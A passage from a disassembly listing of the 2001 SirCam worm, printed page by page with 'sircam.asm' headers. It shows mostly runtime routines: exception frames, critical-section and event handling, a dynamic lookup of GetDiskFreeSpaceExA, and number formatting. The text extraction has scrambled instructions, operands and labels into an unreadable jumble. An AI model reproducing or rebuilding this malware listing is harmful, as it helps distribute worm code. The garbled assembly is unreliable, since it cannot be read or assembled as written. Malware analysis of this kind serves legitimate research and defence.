6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_40A020+194\030o dword_40A34C dd 68h, 0FFFFFFFFh, 2 ; DATA XREF: sub_40A020+1E8\030o dword_40A358 dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_40A020+1F7\030o dword_40A364 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_40A020+24A\030o dword_40A374 dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_40A020+259\030o dword_40A384 dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_40A020+269\030o dword_40A390 dd 3A6D6D3Ah, 7373h ; DATA XREF: sub_40A020+286\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40A398 proc near var_14 var_10 var_C var_8 var_4 = = = = = ; CODE XREF: sub_40A430+7\031p dword ptr -14h dword ptr -10h byte ptr -0Ch dword ptr -8 byte ptr -4 push mov add push xor mov xor push push push mov call mov test jz mov mov ebp ebp, esp esp, 0FFFFFFECh ebx eax, eax [ebp+var_14], eax eax, eax ebp offset loc_40A422 dword ptr fs:[eax] fs:[eax], esp j_GetLastError_0 ebx, eax ebx, ebx short loc_40A3F2 [ebp+var_10], ebx [ebp+var_C], 0 sircam.asm Fri Aug 10 12:42:44 2001 280 lea edx, [ebp+var_14] mov eax, ebx call sub_408CA0 mov eax, [ebp+var_14] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 mov ecx, ds:off_41DAE8 mov dl, 1 mov eax, ds:off_406B34 call sub_409548 jmp short loc_40A404 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A3F2: mov mov mov call ; CODE XREF: sub_40A398+23\030j ecx, ds:off_41DB40 dl, 1 eax, ds:off_406B34 sub_40950C mov call xor pop pop pop mov push ; CODE XREF: sub_40A398+58\030j [eax+0Ch], ebx sub_402F98 eax, eax edx ecx ecx fs:[eax], edx offset loc_40A429 loc_40A404: loc_40A419: sub_40A398 ; CODE XREF: CODE:0040A427\031j lea eax, [ebp+var_14] call sub_4034C8 retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A422: ; DATA XREF: sub_40A398+F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40A419 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A429: ; DATA XREF: sub_40A398+7C\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A430 proc near ; CODE XREF: sub_40D920+16\031p push ebx mov ebx, eax test ebx, ebx jnz short loc_40A43C call sub_40A398 loc_40A43C: sub_40A430 ; CODE XREF: sub_40A430+5\030j mov pop retn endp eax, ebx ebx sircam.asm Fri Aug 10 12:42:44 2001 281 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A440 proc near ; CODE XREF: sub_40B194+27\031p push ebx mov ebx, offset unk_41C2E0 jmp short loc_40A458 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A448: ; CODE XREF: sub_40A440+1B\031j mov mov mov mov call loc_40A458: sub_40A440 cmp jnz pop retn endp eax, [ebx] edx, [eax] [ebx], edx edx, 8 sub_4025B0 ; CODE XREF: sub_40A440+6\030j dword ptr [ebx], 0 short loc_40A448 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A460 proc near ; CODE XREF: sub_40B2D4+55\031p push ebx push offset dword_40A498 call j_GetModuleHandleA_1 mov ebx, eax test ebx, ebx jz short loc_40A481 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx call j_GetProcAddress_0 mov ds:dword_41C128, eax loc_40A481: cmp jnz mov mov ; CODE XREF: sub_40A460+F\030j ds:dword_41C128, 0 short loc_40A494 eax, offset sub_40745C ds:dword_41C128, eax loc_40A494: sub_40A460 ; CODE XREF: sub_40A460+28\030j pop ebx retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_40A498 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_40A460+1\030o aGetdiskfreespa db ’GetDiskFreeSpaceExA’,0 ; DATA XREF: sub_40A460+11\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A4BC loc_40A4CA: proc near ; CODE XREF: CODE:0040E4AC\031p push ebx push esi test dl, dl jz short loc_40A4CA add esp, 0FFFFFFF0h call sub_402CDC ; CODE XREF: sub_40A4BC+4\030j sircam.asm Fri Aug 10 12:42:44 2001 mov mov xor mov call lea push call push push push push call mov push lea mov mov call add mov test jz call pop add ebx, edx esi, eax edx, edx eax, esi sub_402BAC eax, [esi+4] eax j_InitializeCriticalSection_0 0 0FFFFFFFFh 0FFFFFFFFh 0 j_CreateEventA [esi+1Ch], eax 4 eax, [esi+28h] ecx, 1 edx, ds:off_406BF8 sub_4045A0 esp, 4 eax, esi bl, bl short loc_40A51D sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40A51D: sub_40A4BC 282 ; CODE XREF: sub_40A4BC+50\030j mov eax, esi pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A524 proc near ; DATA XREF: CODE:00406C64\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, esi call sub_40A5A0 mov edx, ebx and dl, 0FCh mov eax, esi call sub_402BCC mov eax, [esi+1Ch] push eax call j_CloseHandle_0 lea eax, [esi+4] push eax call j_DeleteCriticalSection_0 test bl, bl jle short loc_40A55F mov eax, esi call sub_402D2C loc_40A55F: sub_40A524 ; CODE XREF: sub_40A524+32\030j pop esi pop ebx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 283 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A564 proc near ; CODE XREF: sub_40A5A0+1C\031p push ebx push esi mov esi, eax xor eax, eax cmp dword ptr [esi+2Ch], 0 jz short loc_40A59A xor ebx, ebx mov eax, [esi+28h] call sub_4043EC mov edx, eax jmp short loc_40A57F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A57E: ; CODE XREF: sub_40A564+27\031j ; sub_40A564+2F\031j inc ebx cmp jle mov mov test jz mov cmp jz edx, ebx short loc_40A595 eax, [esi+28h] eax, [eax+ebx*8] eax, eax short loc_40A57E ecx, [esi+28h] eax, [esi+2Ch] short loc_40A57E cmp setle edx, ebx al pop pop retn endp esi ebx loc_40A57F: ; CODE XREF: sub_40A564+18\030j loc_40A595: ; CODE XREF: sub_40A564+1D\030j loc_40A59A: sub_40A564 ; CODE XREF: sub_40A564+A\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A5A0 proc near push mov lea push call cmp jnz call mov mov call test jnz push mov push call ; CODE XREF: sub_40A524+D\030p ; sub_40E3D0+2C\031p ebx ebx, eax eax, [ebx+4] eax j_EnterCriticalSection_0 byte ptr [ebx+34h], 0 short loc_40A5E4 j_GetCurrentThreadId_0 [ebx+2Ch], eax eax, ebx sub_40A564 al, al short loc_40A5D0 0FFFFFFFFh eax, [ebx+1Ch] eax j_WaitForSingleObject sircam.asm Fri Aug 10 12:42:44 2001 loc_40A5D0: mov mov xor mov xor mov mov loc_40A5E4: sub_40A5A0 284 ; CODE XREF: sub_40A5A0+23\030j eax, [ebx+20h] [ebx+24h], eax eax, eax [ebx+20h], eax eax, eax [ebx+2Ch], eax byte ptr [ebx+34h], 1 ; CODE XREF: sub_40A5A0+10\030j inc dword ptr [ebx+20h] pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A5EC sub_40A5EC proc near mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_402BDC retn endp ; CODE XREF: sub_40B194+22\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_40A5FC dd 1Dh ; DATA XREF: sub_40B2D4+1A\031o dd offset unk_41C2DC dd offset off_41DBF4 dd offset unk_41C2D4 dd offset off_41DB98 dd offset unk_41C2CC dd offset off_41DAD8 dd offset unk_41C2C4 dd offset off_41DC0C dd offset unk_41C2BC dd offset off_41DC20 dd offset unk_41C2B4 dd offset off_41DB3C dd offset unk_41C2AC dd offset off_41DB88 dd offset unk_41C2A4 dd offset off_41DAB8 dd offset unk_41C29C dd offset off_41DBA4 dd offset unk_41C294 dd offset off_41DBBC dd offset unk_41C28C dd offset off_41DB68 dd offset unk_41C284 dd offset off_41DB6C dd offset unk_41C27C dd offset off_41DC5C dd offset unk_41C274 dd offset off_41DC50 dd offset unk_41C26C dd offset off_41DC7C dd offset unk_41C264 dd offset off_41DBE4 dd offset unk_41C25C dd offset off_41DBD4 dd offset unk_41C254 dd offset off_41DC80 dd offset unk_41C24C sircam.asm dword_40A6E8 Fri Aug 10 12:42:44 2001 dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd offset dd 28h dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 285 off_41DC70 unk_41C244 off_41DB7C unk_41C23C off_41DC60 unk_41C234 off_41DC64 unk_41C22C off_41DB18 unk_41C224 off_41DAF4 unk_41C21C off_41DBD0 unk_41C214 off_41DC08 unk_41C20C off_41DABC unk_41C204 off_41DC58 dword_41C1FC off_41DB78 ; DATA XREF: sub_40B2D4+24\031o off_41C1F4 off_41DC48 off_41C1F0 off_41DADC off_41C1EC off_41DC00 off_41C1E8 off_41DAC8 off_41C1E4 off_41DB00 off_41C1E0 off_41DAF8 off_41C1DC off_41DAE4 off_41C1D8 off_41DB74 off_41C1D4 off_41DBE0 off_41C1D0 off_41DAFC off_41C1CC off_41DBC8 off_41C1C8 off_41DC1C off_41C1C4 off_41DC14 off_41C1C0 off_41DBEC off_41C1BC off_41DB64 off_41C1B8 off_41DB34 sircam.asm Fri Aug 10 12:42:44 2001 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset dd 0 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset dd offset dd 0 dd offset dd offset align 8 dd offset off_41C1B4 off_41DAC4 off_41C1B0 off_41DC10 off_41C1AC off_41DBB0 off_41C1A8 off_41DB2C off_41C1A4 off_41DBA0 off_41C1A0 off_41DBD8 off_41C19C off_41DBAC off_41C198 off_41DB50 off_41C194 off_41DAC0 off_41C190 off_41DB8C off_41C18C off_41DC68 off_41C188 off_41DC44 off_41C184 off_41DBC4 off_41C180 off_41DB14 off_41C17C off_41DACC off_41C178 off_41DC3C off_41C174 off_41DC8C off_41C170 off_41DAEC off_41C16C off_41DAB4 off_41C168 off_41DC4C off_41C164 off_41DBC0 off_41C160 off_41DC74 off_41C150 off_41DB80 off_41C14C 286 sircam.asm flt_40A8C8 dword_40A8CC Fri Aug 10 12:42:44 2001 dd offset off_41DB1C dd 0.0 dd 0Ah 287 ; DATA XREF: sub_40AFBF+5D\031r ; DATA XREF: sub_40AA4C+20\031r ; sub_40AEB8+70\031r ... dd 64h, 3E8h, 2710h tbyte_40A8DC dt 1.0e18 ; DATA XREF: sub_40AEB8+5B\031r word_40A8E6 dw 133Fh ; DATA XREF: CODE:0040B0A6\031r dword_40A8E8 dd 4E464E49h ; DATA XREF: sub_40A8EE+60\031r ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ inc ecx dec esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40A8EE proc near var_1C var_19 var_4 arg_0 arg_4 arg_8 = = = = = = ; CODE XREF: CODE:00407AD2\030p ; CODE:0040AC59\031p word ptr -1Ch byte ptr -19h dword ptr -4 dword ptr 8 dword ptr 0Ch byte ptr 10h push mov sub push push push mov mov cmp jnz mov cmp jge mov ebp ebp, esp esp, 1Ch edi esi ebx [ebp+var_4], eax eax, 13h cl, 0 short loc_40A91B eax, [ebp+arg_4] eax, 2 short loc_40A911 eax, 2 cmp jle mov eax, 12h short loc_40A91B eax, 12h loc_40A911: ; CODE XREF: sub_40A8EE+1C\030j loc_40A91B: ; CODE XREF: sub_40A8EE+14\030j ; sub_40A8EE+26\030j mov push mov cmp jb mov loc_40A92D: [ebp+arg_4], eax eax eax, 270Fh [ebp+arg_8], 2 short loc_40A92D eax, [ebp+arg_0] ; CODE XREF: sub_40A8EE+3A\030j push eax lea eax, [ebp+var_1C] call sub_40AE91 mov edi, [ebp+var_4] movzx eax, [ebp+var_1C] sub eax, 7FFFh cmp eax, 2 jnb short loc_40A95E mov ecx, eax call sub_40A9AC lea esi, dword_40A8E8[ecx+ecx*2] mov ecx, 3 repe movsb jmp short loc_40A981 sircam.asm Fri Aug 10 12:42:44 2001 288 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A95E: lea movzx cmp jz cmp ja movsx cmp jle ; CODE XREF: sub_40A8EE+57\030j esi, [ebp+var_19] ebx, [ebp+arg_8] bl, 1 short loc_40A97A bl, 4 short loc_40A978 eax, [ebp+var_1C] eax, [ebp+arg_4] short loc_40A97A mov bl, 0 call ; CODE XREF: sub_40A8EE+7A\030j ; sub_40A8EE+88\030j ds:off_40A98F[ebx*4] loc_40A978: ; CODE XREF: sub_40A8EE+7F\030j loc_40A97A: loc_40A981: sub_40A8EE ; CODE XREF: sub_40A8EE+6E\030j mov sub pop pop pop mov pop retn endp eax, edi eax, [ebp+var_4] ebx esi edi esp, ebp ebp 0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40A98F dd offset loc_40A9B6 ; DATA XREF: sub_40A8EE+8C\030r dd offset loc_40AA18 dd offset loc_40AA8B dd offset loc_40AA8B dd offset loc_40AAF1 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A9A3 proc near lodsb or jnz mov dec al, al short locret_40A9AB al, 30h esi locret_40A9AB: sub_40A9A3 ; CODE XREF: CODE:0040AA1D\031p ; CODE:0040AA2E\031p ... ; CODE XREF: sub_40A9A3+3\030j retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40A9AC proc near cmp jz mov stosb locret_40A9B5: sub_40A9AC ; CODE XREF: sub_40A8EE+5B\030p ; CODE:0040A9B6\031p ... byte ptr [ebp-1Ah], 0 short locret_40A9B5 al, 2Dh ; CODE XREF: sub_40A9AC+4\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40A9B6: 289 ; CODE XREF: sub_40A8EE+8C\030j ; DATA XREF: CODE:0040A98F\030o call sub_40A9AC movsx ecx, word ptr [ebp-1Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_40A9E5 cmp ecx, 0FFFFFFFDh jl short loc_40A9E5 or ecx, ecx jg short loc_40A9EB mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_40AA17 mov al, ds:byte_41E4EF stosb neg ecx mov al, 30h repe stosb jmp short loc_40AA01 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40A9E5: ; CODE XREF: CODE:0040A9C4\030j ; CODE:0040A9C9\030j mov inc ecx, 1 edx loc_40A9EB: ; CODE XREF: CODE:0040A9CD\030j ; CODE:0040A9F1\031j lodsb or jz stosb loop lodsb or jz mov mov stosw al, al short loc_40AA09 loc_40A9EB al, al short loc_40AA0D ah, al al, ds:byte_41E4EF loc_40AA01: ; CODE XREF: CODE:0040A9E3\030j ; CODE:0040AA07\031j lodsb or al, al jz short loc_40AA0D stosb jmp short loc_40AA01 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AA09: ; CODE XREF: CODE:0040A9EE\030j mov al, 30h repe stosb loc_40AA0D: ; CODE XREF: CODE:0040A9F6\030j ; CODE:0040AA04\030j or edx, edx jz short locret_40AA17 xor eax, eax xor ecx, ecx jmp short loc_40AA42 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_40AA17: ; CODE XREF: CODE:0040A9D5\030j ; CODE:0040AA0F\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AA18: ; CODE XREF: sub_40A8EE+8C\030j sircam.asm Fri Aug 10 12:42:44 2001 call call mov stosw mov dec 290 ; DATA XREF: CODE:0040A993\030o sub_40A9AC sub_40A9A3 ah, ds:byte_41E4EF ecx, [ebp+0Ch] ecx loc_40AA2E: ; CODE XREF: CODE:0040AA34\031j call stosb loop mov mov cmp jb xor sub_40A9A3 loc_40AA2E ah, 2Bh ecx, [ebp+8] ecx, 4 short loc_40AA42 ecx, ecx loc_40AA42: ; CODE XREF: CODE:0040AA15\030j ; CODE:0040AA3E\030j mov mov movsx dec al, 45h bl, [ebp-19h] edx, word ptr [ebp-1Ch] edx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AA4C proc near ; CODE XREF: sub_40AD70+AD\031p stosb or bl, bl jnz short loc_40AA55 xor edx, edx jmp short loc_40AA5F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AA55: ; CODE XREF: sub_40AA4C+3\030j or edx, edx jge short loc_40AA5F mov al, 2Dh neg edx jmp short loc_40AA65 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AA5F: ; CODE XREF: sub_40AA4C+7\030j ; sub_40AA4C+B\030j or jz mov ah, ah short loc_40AA66 al, ah loc_40AA65: ; CODE XREF: sub_40AA4C+11\030j stosb loc_40AA66: ; CODE XREF: sub_40AA4C+15\030j xchg push mov eax, edx eax ebx, esp loc_40AA6A: ; CODE XREF: sub_40AA4C+2F\031j ; sub_40AA4C+33\031j xor div add mov inc dec or jnz or jg edx, edx ds:dword_40A8CC dl, 30h [ebx], dl ebx ecx eax, eax short loc_40AA6A ecx, ecx short loc_40AA6A sircam.asm Fri Aug 10 12:42:44 2001 loc_40AA81: sub_40AA4C 291 ; CODE XREF: sub_40AA4C+3B\031j dec mov stosb cmp jnz pop retn endp ebx al, [ebx] ebx, esp short loc_40AA81 eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AA8B: ; CODE XREF: sub_40A8EE+8C\030j ; DATA XREF: CODE:0040A997\030o ... call sub_40A9AC ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40AA90 proc near ; CODE XREF: CODE:0040AB3D\031p mov edx, [ebp+8] cmp edx, 12h jb short loc_40AA9D mov edx, 12h loc_40AA9D: ; CODE XREF: sub_40AA90+6\030j movsx ecx, word ptr [ebp-1Ch] or ecx, ecx jg short loc_40AAAA mov al, 30h stosb jmp short loc_40AAD2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AAAA: xor cmp jz mov dec mov div mov inc ; CODE XREF: sub_40AA90+13\030j ebx, ebx byte ptr [ebp+10h], 2 short loc_40AABC eax, ecx eax bl, 3 bl bl, ah ebx loc_40AABC: ; CODE XREF: sub_40AA90+20\030j ; sub_40AA90+36\031j ... call sub_40A9A3 stosb dec ecx jz short loc_40AAD2 dec ebx jnz short loc_40AABC mov al, ds:byte_41E4EE stosb mov bl, 3 jmp short loc_40AABC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40AAD2: ; CODE XREF: sub_40AA90+18\030j ; sub_40AA90+33\030j or jz mov stosb jecxz mov loc_40AAE0: edx, edx short 